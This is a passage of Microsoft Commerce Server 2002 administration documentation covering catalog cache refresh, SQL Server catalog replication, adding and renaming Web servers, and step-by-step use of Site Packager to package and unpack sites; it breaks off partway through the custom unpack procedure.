Dynamically Refreshing the Catalog Cache

The Retail Solution Site is configured with site-wide caching enabled. This does not allow for the site to dynamically update its changes without a manual restart of Internet Information Services (IIS), or a refresh of the site through the local Business Desk.

Use one of the following methods to dynamically refresh the catalog cache:

  • Manually restart IIS. This option is not recommended since all the Internet services for the Web server are shut down to allow the Commerce Server application to refresh its caches. This incurs downtime in the system, and in many cases is unacceptable in a production environment when the experience of the user may be impacted. For information about restarting IIS, see Restarting IIS and Commerce Server Services.
  • Use Business Desk to refresh through the production servers. You can invoke an instance of the Business Desk application that is configured as part of your production site to refresh the caches on the production Web servers.


Invoking Catalog Replication On Demand

If your catalog changes infrequently, you may want to have those changes replicated only on demand, rather than on a scheduled basis. To do this you still set up the subscription as described in Configuring a SQL Publication to Replicate a Catalog, but when configuring the schedule for replication, set the start date to a date in the distant future (for example, 1/1/2200).

To invoke catalog replication on demand

  1. In SQL Enterprise Manager, click the publication that you set up for the replication under the Publications node.
  2. Right-click the subscription that you want to update, and then click Start Synchronizing.


Physical Schema Changes to a Staging Database

Using SQL Server replication is not recommended for replicating catalog schema or the underlying physical catalog. Only use SQL Server replication for transferring content.

The following tasks result in changes to the underlying physical schema. To update a production environment with these changes, you must use a manual process, as follows:

  • Creating a new catalog. If you create a catalog in the publisher database, changes to the global catalog are replicated but the tables, views, and stored procedures are not replicated (this is a SQL Server restriction).
  • Deleting a catalog.
  • Adding a language to a catalog.
  • Deleting a language from a catalog.
  • Adding a property to a product definition (if the property is not already used in the catalog where the product definition is used).
  • Removing a property from a product definition (such that the property is no longer used in the catalog where the product definition is used).
  • Adding the first instance of a product of a particular product definition to a catalog (such that a particular property becomes used in that catalog).
  • Deleting the last instance of a product of a particular product definition from a catalog (such that a particular property is no longer used in that catalog).

If any of these types of changes are to be made to the staging catalog, then you will first need to drop the database publication and then set up replication again after these changes are completed.


Replicating Materialized Virtual Catalogs

Materialized virtual catalogs offer a performance improvement on production servers but pose a problem for replication.

Each time a materialized virtual catalog is rebuilt (to have updates to source catalogs or virtual catalog rules reflected when viewing the virtual catalog), the materialized data tables for that virtual catalog are deleted and re-created. When this happens, any replication configured on those tables will break. For this reason, virtual catalogs should not be marked as materialized on staging (publishing) servers.

If you want to materialize virtual catalogs on your production database servers for the performance gain, you should exclude their associated tables from the replication.


Updating Your Site

Deployment is an ongoing process. After your site is operational, you will want to update the content and configuration of your site to address changing needs. This section contains basic information about updating your site. For more detailed information, see the Microsoft Commerce Server 2000 Resource Kit.

This section contains:

  • Using Your Test Environment for Updates. Explains how to use your test environment before you update your production servers.
  • Adding Web Servers Without Site Packager. Explains how to install a Commerce Web server without using Site Packager.
  • Using SQL Server to Replicate Databases. Explains how to use SQL Server to replicate your Commerce Server databases.
  • Changing the Names of Servers. Explains how to change the names of your servers.


Using Your Test Environment for Updates

Before updating the servers in your production environment, always deploy and test your updates in a separate staging/test environment. This will help ensure that you efficiently deploy a fully tested and updated site.

For example, suppose you want to update your product catalog. Before you modify the catalogs in your production environment, first update the ones in your staging environment. Test the updated catalogs there. Once you are satisfied that these updates are fully functional, use SQL Server to replicate the updates to your production servers.

See Also

Using SQL Server to Replicate Databases


Adding Web Servers Without Site Packager

You can add Web servers to an application without using Commerce Server Site Packager. First, copy the files of the application to the server and configure the Internet Information Services (IIS) 5.0 application on the new server. You can use Microsoft Application Center 2000 for this.

The first time the application is loaded on the new server, the new server will be added as a Web server under the appropriate application in the Commerce Server Administration database.

The function that updates the Administration database is JoinWebFarm, which is included in the Commerce Server Solution Sites. It is located in the Global_siteconfig_lib.asp file, which is located in the Include folder of unpacked Commerce Server Solution Sites.

Note

  • The Config COM+ Application includes the Web Users role. Your login accounts must be a member of this role in order to add a Web server to an application without Site Packager.

After you add the Web server to the application, you must synchronize the following Web server properties in Commerce Server with the properties in IIS:

  • TCP port
  • SSL port
  • Internet Protocol (IP) address
  • Log file path
  • Log file period

To synchronize the properties, either manually update the values in Commerce Server Manager, or click the Synchronize Values button on the Web Servers tab in the Application Properties dialog box. For more information, see Configuring an Application.

When you click Synchronize Values, Commerce Server copies the properties from IIS at the application level and the properties for all the Web server objects below the application. For the properties at the application level (TCP port and SSL port), Commerce Server reads the values for the first Web server. It assumes that the Web servers have all been configured identically, which must be the case for a Web farm to operate correctly.

Because the JoinWebFarm code uses the SiteConfig object, it works only if the user has permissions to use SiteConfig. If you previously denied permission to SiteConfig, you can use the Windows Registry Editor to restore permission for this object. For more information, see Securing the Administration Database.

Note

  • Application Center 2000 synchronizes files and IIS settings, but does not update the Commerce Server Administration database, which is why an additional script including the JoinWebFarm function must be used. For more information about Application Center 2000, see the Microsoft Application Center 2000 documentation.


Using SQL Server to Replicate Databases

To ensure availability and scalability for larger Commerce Server 2002 sites, you might want to replicate your Catalog database. To do this, use SQL Server to replicate your Catalog servers or server clusters inside of a Network Load Balancing (NLB) cluster. For a diagram of this configuration, see Large Site Configuration.

Use SQL Server to replicate your Commerce Server databases. Whether you are using snapshot, transactional, or merge replication, the following stages will help you implement replication.

Stage | Tasks
Configuring replication | Identify the publisher, distributor, and subscribers in your topology. Use SQL Server Enterprise Manager, SQL-DMO, or Transact-SQL system stored procedures and scripts to configure the publisher, create a distribution database, and enable subscribers.
Publishing data and database objects | Create the publication and define the data and database object articles in the publication, and apply any necessary filters to data that will be published.
Subscribing to publications | Create push, pull, or anonymous subscriptions to indicate what publications need to be propagated to individual subscribers and when.
Generating the initial snapshot | Indicate where to save snapshot files, whether they are compressed, and what scripts to run before or after applying the initial snapshot.
Applying the initial snapshot | Apply the snapshot automatically by synchronizing the subscription using the Distribution agent or the Merge agent. The snapshot can be applied from the default snapshot folder or from removable media that can be transported manually to the subscriber before application of the snapshot.
Synchronizing data Synchronizing data occurs when the Snapshot agent, Distribution agent, or Merge agent runs and updates are propagated between the publisher and subscribers.

For snapshot replication, a snapshot will be taken and propagated to subscribers. For transactional replication, the Log Reader agent will store updates in the distribution database and the Distribution agent will propagate updates to subscribers.

If you are using subscriptions that can be updated with either snapshot replication or transactional replication, data will be propagated from the subscriber to the publisher and to other subscribers.

For merge replication, data is synchronized during the merge process when data changes at all servers are converged. Conflicts, if any, are detected and resolved.

See Also

Replicating Catalog Content


Changing the Names of Servers

It is strongly recommended that server names not be changed after you install Commerce Server 2002.

If you must change the NetBIOS name of a server, you should uninstall Commerce Server, change the name, restart the server, make sure the platform is configured correctly, and then reinstall Commerce Server.

Commerce Server names the connection strings between resources based on the server names. If you change a name, the connections between resources might break. You will need to change these connection strings manually in Commerce Server Manager.

The Predictor, Commerce Server Direct Mailer, and Profiles global resources have display names containing the server name on which they were created. If you change the name of the server, you can use Commerce Server Setup to remove and then reinstall Predictor and Direct Mailer. You can use Commerce Server Site Packager to create a newly named Profiles global resource. You then must change the reference property in the Profiles global resource pointer for all sites that were using that Profiles global resource.

When you use Microsoft Application Center 2000 to reload an application onto a renamed Web server, the JoinWebFarm function, called by the Global.asa file during the Application_OnStart event, will create a new Web server node in the Administration database. You must use Commerce Server Manager to delete the old server name from the site.


Using Site Packager

Commerce Server Site Packager is a deployment tool that has two primary uses. You use it to package your Microsoft Commerce Server 2002 site into a single file, including Internet Information Services (IIS) 5.0 or later settings (metabase), the file system, resources from the Administration database, and SQL Server databases. You also use it to unpack the Commerce Server site (or portions of it) onto other computers.

In most cases, Site Packager is used for the initial deployment of your site. For future deployments, incremental updates, and rollbacks, use other tools such as Microsoft Application Center 2000 or other content management products.

This section contains:

  • About Site Packager. Describes what you can do with Site Packager, what makes up a package, and how global resources are unpacked.
  • Best Practices for Site Packager. Provides important information about packaging your Commerce Server 2002 site.
  • Site Packager Name and Size Restrictions . Lists the site name and size restrictions for Site Packager.
  • Unpacking a Site. Explains how to unpack a site from a package file to a local Web server and a remote Web server.
  • Where Resources and Data Are Unpacked. Lists the data and settings that are set up in SQL Server when you unpack a site.
  • Packaging a Site. Explains how to package a site into a package file.
  • Using Scripts with Site Packager. Explains how to use pre-installation and post-installation scripts with Site Packager.
  • Running Site Packager from the Command Line. Explains how to use Site Packager from the command line.
  • Customizing the Site Packager .ini Files. Describes the .ini files included with Commerce Server Solution Sites, and how you can use these .ini files as templates for creating custom .ini files for your own packages.
  • Site Packager Dialog Box Help. Provides dialog box help for using Commerce Server Site Packager.


About Site Packager

Commerce Server Site Packager packages and unpacks Web sites and settings so you can easily deploy your applications. When a Commerce Server site is unpacked, it typically installs two applications: one for the Web site that users access, and one for Commerce Server Business Desk, which is used to manage that site. An application can use only the resources of the Commerce Server site to which it belongs.

This section contains:

  • Packages
  • IIS Properties That are Packaged
  • Unpacking Options
  • Csapp.ini File
  • How Global Resources Are Unpacked
  • How Database and Application Names Are Created
  • Where Databases Are Located
  • How Web Server Permissions Are Set


Packages

A package is a specially formatted Commerce Server file. Each package is identified with a .pup file name extension. A package always contains a single site, which includes the resources, their data, and applications of a Commerce Server Web site.

In addition to site resources, applications, and the Internet Information Services (IIS) 5.0 or later settings that are needed to recreate the Web server configurations, Commerce Server Site Packager also includes the property values from the Administration database. For example, when you package the App Default Config resource, all of the current property values are also packaged. When you unpack the App Default Config resource, the property values are unpacked into the Administration database.

The package includes global resource pointers, but not the global resources themselves. The package recognizes the connection strings that exist in the application, but does not contain the actual data in the connection string.

Note

  • Connection strings that contain a computer name are not packaged.

During the application packaging process, Site Packager searches the IIS metabase on your local computer and finds the physical directory that is the root for that application. It then starts at that root directory and packages all the subdirectories below into a new file with a .pup file name extension. Site Packager preserves certain settings in IIS, such as authorizations and access permissions. For a list of which IIS properties are packaged, see IIS Properties That Are Packaged.

Site Packager does not package properties that are computer specific. For example, Web server properties and some application properties that are set in Commerce Server Manager are not packaged. For a list of data that is packaged for each resource, see Where Resources and Data Are Unpacked.

See Also

IIS Properties That Are Packaged

Unpacking a Site

Packaging a Site


IIS Properties That are Packaged

When you package a site using Site Packager, many of your IIS properties are included. It does not package an IIS Web site (such as the Default Web Site), but it does package the files in the physical root folder of the application and all of its child folders and files.

To view IIS properties for an application, folder, or file

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager window, expand Internet Information Services, expand the name of the Web server containing an application, expand the name of the IIS Web site in which the application resides, right-click the name of an application, folder, or file, and then click Properties.

    The Properties dialog box for the application appears.

The following tables list the properties for the Virtual Directory and Directory Security tabs in the Properties dialog box, and indicate which ones are packaged when using Site Packager.

Virtual Directory Tab

Field | Whether it is packaged
Script source access | Packaged
Read | Packaged
Write | Packaged
Directory browsing | Packaged
Log visits | Packaged
Index this resource | Packaged
Application name | Not packaged
Starting point | Not packaged
Execute permissions | Packaged
Application protection | Always set to Medium when unpacking
Application Configuration settings (shown after Configuration is clicked) | Not packaged

Directory Security Tab

Field | Whether it is packaged
Anonymous access | Packaged
Anonymous access account | Not packaged
Basic authentication | Packaged
Basic authentication domain | Not packaged
Digest authentication | Packaged
Integrated Windows authentication | Packaged
IP addresses and domain name restrictions | Not packaged
Secure communications (SSL certificates) | Not packaged

Note

  • Nothing on the Documents, HTTP Headers, and Custom Errors tabs is packaged. The unpack.vbs script file for Commerce Server Business Desk adds custom errors for Business Desk after unpacking.

IIS Virtual Directories

If you have virtual directories located within the application, the virtual directory object and the folders and files in the path it points to will not be packaged. If you want to package these folders and files, copy them to a folder in the physical path of the application before packaging them.

NTFS Permissions

NTFS permissions and access control lists on folders and files are not packaged. You can use the unpack.vbs script or postsite.vbs script to apply NTFS permissions automatically after unpacking.


Unpacking Options

By default, Site Packager unpacks each application into the IIS Default Web Site in a virtual directory that matches the application name. To improve the security of your site, you should create a new IIS Web site instead of using the Default Web Site for the Commerce Server sites you unpack. You can change the name of the virtual directory that contains each application. To change the IIS Web site or virtual directory while unpacking, you must use the Custom mode of Site Packager.

When you add application files to a Web server in a Web farm, you associate that Web server with the application in Commerce Server Manager. Site Packager displays the name of the IIS Web site where the application will be installed and the IIS application path for each Commerce Server application.

When you unpack a site and an application that already exists in the Administration database, Site Packager assumes you are adding a Web server to the application.

See Also

Unpacking a Site

Where Resources and Data Are Unpacked


Csapp.ini File

Commerce Server Site Packager generates the Csapp.ini file during the unpacking process. After the unpacking process is complete, do not delete Csapp.ini; both AuthManager and AuthFilter require this file, and it must be located in the site root folder.

The following table lists the properties that are contained in the Csapp.ini file and their descriptions.

Property | Description
Path | The physical path to the root of the application.
SiteName | The name of the site as it appears in the Administration database.
AddressKeyName | The name of the application in the Administration database under which all information for the IIS application is placed.
RelativeURL | The name of the IIS virtual directory for the application relative to the default Web site. For example, if the application was installed at the root of the IIS Web site, it is relative to the base root of a given IIS Web site.
AbsoluteURL | The address of the application, which also includes the computer name.
PackagePath | The package from which the application was extracted.

The only property in this file that should be changed is the RelativeURL property. If you manually move an application to a different IIS path, the RelativeURL property must be modified to point to the accurate relative virtual directory under the IIS Web site. If the application is moved to the root of a Web site, it must contain a slash (/), for example, RelativeURL=/. The RelativeURL exists so that the CS Authentication service can determine from where it is operating. The RelativeURL property is recreated each time it is unpacked.

Note

  • Secure the Csappi.ini file by deselecting read, write, and script source access to it in IIS. If you use NTFS permissions to secure this file, you must grant read access to all user accounts that access the site, such as the IUSR_computername account. Also, after unpacking a site, do not delete Csapp.ini; both AuthManager and AuthFilter require this file, and it must be located in the site root folder. AuthManager retrieves SiteName and AddressKeyName from Csapp.ini.

See Also

Csappi.ini File Values for Authentication

Unpacking a Site

Packaging a Site


How Global Resources Are Unpacked

Two global resources — Predictor and Direct Mailer — are installed by using Commerce Server Setup; all other global resources are installed using Site Packager. Before you unpack a site that requires the global resources Predictor or Direct Mailer, you must install these resources by using Commerce Server Setup. For information about installing a global resource, see Installing and Uninstalling Global Resources.

See Also

About Site Packager

Unpacking a Site

Packaging a Site

Installing and Uninstalling Global Resources


How Database and Application Names Are Created

Commerce Server Site Packager derives database and application names from the package.

An IIS application is created for each application in the package. The full path of each application is stored in the package.

See Also

About Site Packager

Unpacking a Site

Packaging a Site

Where Databases Are Located


Where Databases Are Located

Site Packager does not prompt you to specify the locations of your database files. Instead it accepts the SQL Server default folders. Make sure there is enough disk space to create the databases on the database servers.

See Also

About Site Packager

Unpacking a Site

Packaging a Site

How Database and Application Names Are Created


How Web Server Permissions Are Set

IIS Web server permissions can be configured to limit the access of anonymous users to your applications, and can also be configured to limit the viewing of source code over the Internet, even for users with Windows permissions (or access control entries).

It is important to understand the distinction between Web server permissions and NTFS permissions. Unlike NTFS, Web server permissions apply to all users accessing your Web sites. NTFS permissions apply only to a specific user or group of users with a valid Windows account. NTFS permissions control access to physical directories on your server, whereas Web permissions control access to virtual directories on your Web site.

When you package a site, the Web server permissions as set in the source site will be persisted. For example, if you set the Execute Permissions setting to Scripts and Executables in the root folder of the application on the source computer, the virtual root folder on the destination computer will have the same setting.

For example, the following table describes how the IIS permissions are set in the packages provided by Microsoft.

Folder | Permissions
Root | Set Execute permission to Scripts and Executables.
Pipeline, Include, Template | Deny permission to read, write, and execute.

Note

  • Site Packager does not preserve Windows access control lists (ACLs), which contain NTFS permissions. ACLs describe the groups and individuals who have access to specific objects in Microsoft Windows 2000. These objects include Active Directory directory service objects, local NTFS files and folders, the registry, and printers.

See Also

Commerce Server and IIS

Packaging a Site

Unpacking a Site

Where Resources and Data Are Unpacked

Running Site Packager from the Command Line


Best Practices for Site Packager

This topic provides important information about packaging your Commerce Server 2002 site.

Security Issues

Tips for Using Site Packager

Security Issues

  • After you unpack a site, an unpack.vbs script may exist in the root folder of the application (if you unpack the Blank site, it will not exist). Make sure you delete or secure the file immediately after unpacking.
Anonymous users can access this file. Unauthorized use of this script file could lead to denial of service or the breaking of site settings.
  • After you unpack a site to a remote computer, you must run the unpack.bat file from the command line.
The unpack.bat file is located on the remote computer in the root directory of the application. This file is used to unpack security settings on your site. Review Windows accounts with Business Desk permissions before you package a site.

When unpacking a site using Commerce Server Site Packager, Windows accounts with Business Desk permissions are unpacked as well.

For example, you have Commerce Server installed on one computer and you add local groups and accounts. If you pack the site and then unpack it on a different computer, the accounts will also be unpacked. When you open Business Desk, the permissions will be there.

  • Immediately after you install your site, and any time you make major configuration changes to your Commerce Server deployment, it is recommended that you back up your Administration database with a different name.
You can use this backup to roll back any changes that are made later.
  • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.

Tips for Using Site Packager

  • Do not run Site Packager on a production site.

    If Site Packager is run on a production site, the site might not respond properly to clients.

  • To include custom tables and the data they contain in a package file, see Using the GenericPup Object .
  • Do not run more than one instance of Site Packager on a computer at a time.
  • To install more than one Business Desk application on an existing site with a different IIS application name, you must rename the HTML Application (HTA) files and create new Business Desk icon shortcuts before installation.
If you do not rename the files, the HTA files will replace the files that were based on the original site, as well as the Business Desk icons.
  • To unpack a site onto an Internet Information Services (IIS) 5.0 or later Web site other than the default, use the Custom mode of Site Packager.
  • If you unpack the Direct Mailer resource after you unpack a Commerce Server Business Desk application and install the Business Desk client, you must restart IIS on the Web server hosting the Business Desk application in order for the addition of Direct Mailer to be detected.
Business Desk clients must reconnect to the application. For instructions about restarting IIS, see Restarting IIS and Commerce Server Services.
  • If you package a Commerce Server application whose IIS virtual directory contains child IIS applications, Site Packager will package the folders and files of the child applications.
If you do not want the folders and files of the child applications included in the package, you will have to delete them after you unpack the parent Commerce Server application.
  • Site Packager does not package files in child virtual directories of the IIS application.
If you need to package files in child virtual directories, move the folders and files to child physical folders of the root folder of the IIS application before packaging your site.
  • Before you can package a site that has applications (for example, Retail and RetailBusinessDesk) on separate Web servers, you must add one of the Web servers to the other application.
For example, if Retail is installed on Computer A and RetailBizDesk is on Computer B, you can run Site Packager on Computer B to add it as a Web server for Retail. Then you can package the site from Computer B. (Conversely, you could add Computer A to RetailBizDesk, and package the site there.) For more information, see Adding a Web Server to an Application.
  • If you specify an Organizational Unit (OU) containing pure Unicode characters in Site Packager, the OU is registered in Active Directory with nonsensical characters.
This is a limitation on passing Unicode strings to the Run method of the WScript.Shell object. This is a limitation of the Microsoft Windows 95, Microsoft Windows 98, Microsoft Windows NT, and Microsoft Windows 2000 platforms. This issue will be corrected in Microsoft Windows.NET Enterprise Server. Users who do not want to upgrade their platforms can upgrade the script engines in Windows to V5.6. The upgrade will be available for free download from Windows .NET Server when that product is released.


Site Packager Name and Size Restrictions

This topic lists the name and size restrictions for Site Packager.

  • Site names
    • To avoid unpacking errors, site names cannot contain the following special characters:

      /, ?, &, \, <, >, :, |, #, @, %, and '

    • Do not specify a site name of more than 127 single-byte or double-byte characters.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause the overwriting of your OLAP database the next time you unpack a site.
  • Virtual names
    • To avoid IIS errors, virtual directory names cannot contain the following special characters:

      #, @, %, and '

    • Site Packager unpacks each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
  • Application names
    • You cannot give your applications the following names:

      Campaigns

      Transactions

      Product Catalog

      Direct Mail

      Predictor

      App Default Config

      BDSecurity

      Biz Data Service

      Transaction Config

      Site Data Warehouse

      Global Data Warehouse

      Site CS Authentication

    • Application names cannot contain the ‘\’ character.
    • If you want to unpack the application to the root of the Web site, you can use the ‘/’ character or leave the IIS path field blank.


Unpacking a Site

You use Commerce Server Site Packager to unpack a site or a subset of a site onto one or more computers. You can unpack a site to a local Web server, or you can specify a remote Web server on which you want to unpack. When running Site Packager, you must have appropriate permissions to copy files to the destination folders.

Commerce Server provides the Blank Solution Site in the box. The Retail Site and the SupplierActiveDirectory Solution Site are available at http://go.microsoft.com/fwlink/?linkid=6491. The sites also include a Business Desk application. For information about installing the Commerce Server 2002 Solution Sites, see "Installing Commerce Server 2002 Solution Sites" in the Commerce Server 2002 Installation Guide.

This section contains:

  • Unpacking a Site on a Local Web Server
  • Unpacking a Site to a Remote Web Server


Unpacking a Site on a Local Web Server

You can unpack a site on a local Web server and install all of your database files on one SQL Server, or you can add the Web server to an existing application, and specify that more than one database server will be used with the site. This section contains procedures on how to unpack a site quickly, accepting most default settings, and then how to unpack a site, specifying all your settings.

Use Quick unpack when:

  • Commerce Server and IIS are installed on the same computer.
  • You want to put all of your database files on one SQL server.
  • You want to unpack an entire site.

Use Custom Unpack when:

  • Commerce Server and IIS are installed on different computers.
  • You want to add only resources in the package to an existing site.
  • You want to add only a single application in the package to an existing site.
  • You want to add a Web server to an existing application in an existing site.
  • You want to put your database files on multiple SQL servers.

Note

  • The following instructions assume that the user who is logged on to the local computer has the appropriate permissions to copy files to the destination folders.

Unpacking a Site Using Default Properties

Unpacking a Site Using Custom Properties


Unpacking a Site Using Default Properties

To shorten the unpacking process and to install all of your database files on one local or remote SQL Server computer, use the following procedures.

To unpack a site quickly, accepting most default settings

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.

    The Commerce Server Site Packager screen appears.

  2. In the Commerce Server Site Packager screen, select Unpack from a package file (.pup), and then click Next.

    The Unpack screen appears.

  3. In the Unpack screen, click Browse.

    The Open dialog box appears.

  4. In the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.

    The Unpack screen appears. The *.pup package that you selected appears in the File to unpack dialog box.

  5. In the Unpack screen, select Quick unpack, and then click Next.

    The Quick Unpack screen appears.

  6. In the Quick Unpack screen, do the following:
    Use this | To do this
    Site name | Type the name for the site, if you want to change it. For a list of name restrictions, see Site Packager Name and Size Restrictions.
    IIS Web site Select the name of the IIS Web site where the application(s) will be installed, from the drop-down list.

    Note

    • Do not unpack a site onto the Administration Web Site. If you unpack a site onto the Administration Web Site, the site and Business Desk will not function due to IIS administration security limitations.
    SQL Server Computer | Type the name of the computer running SQL Server that will contain the databases for the site, or accept the default setting.
    Use Windows Integrated security Select this option if you want to use integrated Windows authentication.

    This is the recommended configuration.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type the SQL Server login name for the databases.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  7. Click Next.

    The Unpacking... screen appears displaying the tasks that are being performed. When these tasks are finished, the Data Warehouse screen appears if the Data Warehouse resource was installed during the installation process.

  8. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for your global Data Warehouse resource, or accept the default setting.
    Server | Type the name of the SQL Analysis online analytical processing (OLAP) computer, or accept the default setting.
    Database | Type the name of the Analysis (OLAP) database to use, or accept the default setting.
  9. Click OK.

    The Unpacking... screen appears displaying the tasks that are being performed. When these tasks are finished, the first Profiling System screen appears.

    If the Profiles resource was installed during the installation process, the first of two Profiling System dialog boxes appears.

  10. If you are unpacking a Solution Site, and want to accept the default settings, skip to step 12 below.
  11. To specify your own profile settings, do the following:
    Use this To do this
    Profile Schema Definition Specify the XML file that was stored when you packed your site.

    When you pack your site, Site Packager extracts the profile schema from your Profiles database and stores it in an XML file.

    When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
    Site Terms Definition Specify the XML file that was stored when you packed your site.

    When you pack your site, Site Packager extracts the site terms definition from your Profiles database, and stores it in an XML file.

    When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
    Expression Definition Specify the XML file that was stored when you packed your site.

    When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk and stores them in an XML file.

    When you unpack a Solution Site, a default XML file is provided, ExpressionDefinition. This file does not contain any predefined expressions for the Solution Sites.
  12. Click Next.

    If the Profiles resource was installed during the installation process, the second of two Profiling System dialog boxes appears.

  13. If you are unpacking a Solution Site, and want to accept the default settings, skip to step 15 below.
  14. To specify your own profile settings, do the following:
    Use this To do this
    Profiling System connection string Accept the default connection string to the Profiles database, or click Modify to configure a new connection string.

    Note

    • If you change the XML file, Commerce Server does not preserve the connection string information. The new XML file can contain a different type and number of aggregated data stores than the data stores that are in the default XML file. Therefore, you must re-enter the connection string.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition script that will create the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

    When you unpack a Solution Site, SCHEMAUPM_SQLSource.SQLSource creates the tables for the default profile definitions: Address, BlanketPOs, Organization, Targeting Context, User Object.

    For a sample script, see ProfileSQL.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) If you have extracted the profile data from a Profiles database, you can specify data population scripts that import data into your new Profiles database when you unpack,.

    For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    For information about using scripts with site packager, see Using Scripts with Site Packager.
  15. Click OK.
  16. If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts, and then click OK.

    If you did not select Windows Integrated security, proceed to the next step.

  17. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  18. To close Site Packager, click Finish.


Unpacking a Site Using Custom Properties

To add resources or an application to an existing site, or to add a Web server to an existing application use the following procedures. You can also specify that more than one database server will be used with the site.

To unpack a site, using Custom unpack

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Welcome to the Commerce Server Site Packager dialog box, select Unpack from a package file (.pup), and then click Next.
  3. In the Unpack dialog box, type the path and file name of the file you want to unpack, or click the Browse button.

    If you clicked the Browse button, in the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.

  4. When the Unpack dialog box reappears, select Custom unpack, and then click Next.
  5. In the Unpack Method dialog box, select one of the unpack options, and then click Next.

The unpack options are explained in the following procedures.

To create a new site

To add resources in the package to an existing site

To add an application in the package to an existing site

To add a Web server to an existing application in an existing site

To create a new site

You use this option to unpack the contents of the selected site package to a new site, use the following procedures.

  1. In the Site Name dialog box, type the name for the new site, and then click Next.
  2. In the Select Resources dialog box, select the resources you want to add, click Add, and then click Next.

    Note

    • In the Select Resources dialog box, you must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
  3. In the Global Resource Pointers dialog box, select the existing global resource pointer to which you want to map an existing or new global resource. In the Existing global resources box, select the global resource you want to map to the selected global resource pointer, and then click Next.

    In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them.

  4. To change the databases and servers, select a resource from the Resource column, and then click Modify.
  5. In the Data Link Properties dialog box, select or type the new database(s) and server name(s), click OK, and then click Next.

    If you want to copy a database connection string, select the row that contains the connection string you want to copy, and then click Modify. In the Data Link Properties dialog box, select or type the server and database name(s) you want to copy, and then click OK. In the Database Connection Strings dialog box, reselect the row that contains the connection string you want to copy, and then click Copy. Select the row(s) to which you want to copy the connection string, and then click Paste.

    Note

    • The Data Warehouse resource should always be unpacked to a separate database.

    The Commerce Server Site Packager dialog box appears if Site Packager needs to create a database(s). The information you provide in this dialog box is used to connect to the Master database on your SQL Server installation.

  6. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    Use Windows Integrated security Select this option to use integrated Windows authentication for the databases.

    This is the recommended configuration.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases. This configuration is not recommended.
    SQL Server login name | Type the SQL Server login name for the databases. This configuration is not recommended.
    SQL Server login password | Type the SQL Server login password. This configuration is not recommended.
  7. Click OK.
  8. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next.
  9. In the Select IIS Computers, Web Sites and Paths dialog box, do the following:
    Use this | To do this
    IIS computer name Type the computer name of the IIS Web server to which you want to unpack the application files.

    To update the list of Web sites on the remote computer, click Refresh.
    IIS Web site Select the name of the IIS Web site for the selected applications.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    IIS path | Type the name of the IIS path for the selected applications.

    Notes

    • Site Packager will unpack each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
    • If you want to unpack the application to the root of the Web site, you can use the ‘/’ character or leave the IIS path field blank.
  10. Click Next.

    If you added the Data Warehouse resource to the site, the Data Warehouse dialog box appears.

  11. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for the global Data Warehouse resource.
    Server Type the name of the server running SQL Analysis (OLAP).

    Note

    • The Data Warehouse resource should always be installed to a server running SQL Server as the OLAP database.
    Database | Type the name of the Analysis (OLAP) database to use.
  12. Click OK.

    If you added the Profiles resource to the site, the first of two Profiling System dialog boxes appears.

  13. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this To do this
    Profile Schema Definition When you pack a site, Site Packager extracts the profile schema from your Profiles database and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
    Site Terms Definition When you pack a site, Site Packager extracts the site terms definition from your database and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
    Expression Definition When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk and stores them in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, a default XML file, ExpressionDefinition, is provided. This file does not contain any predefined expressions for the Solution Sites.
  14. Click Next.

    If you added the Profiles resource to the site, the second of two Profiling System dialog boxes appears.

  15. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this To do this
    Profiling System Connection String Accept the default connection string to the Profiles database, or click Modify to configure a new connection string.

    Note

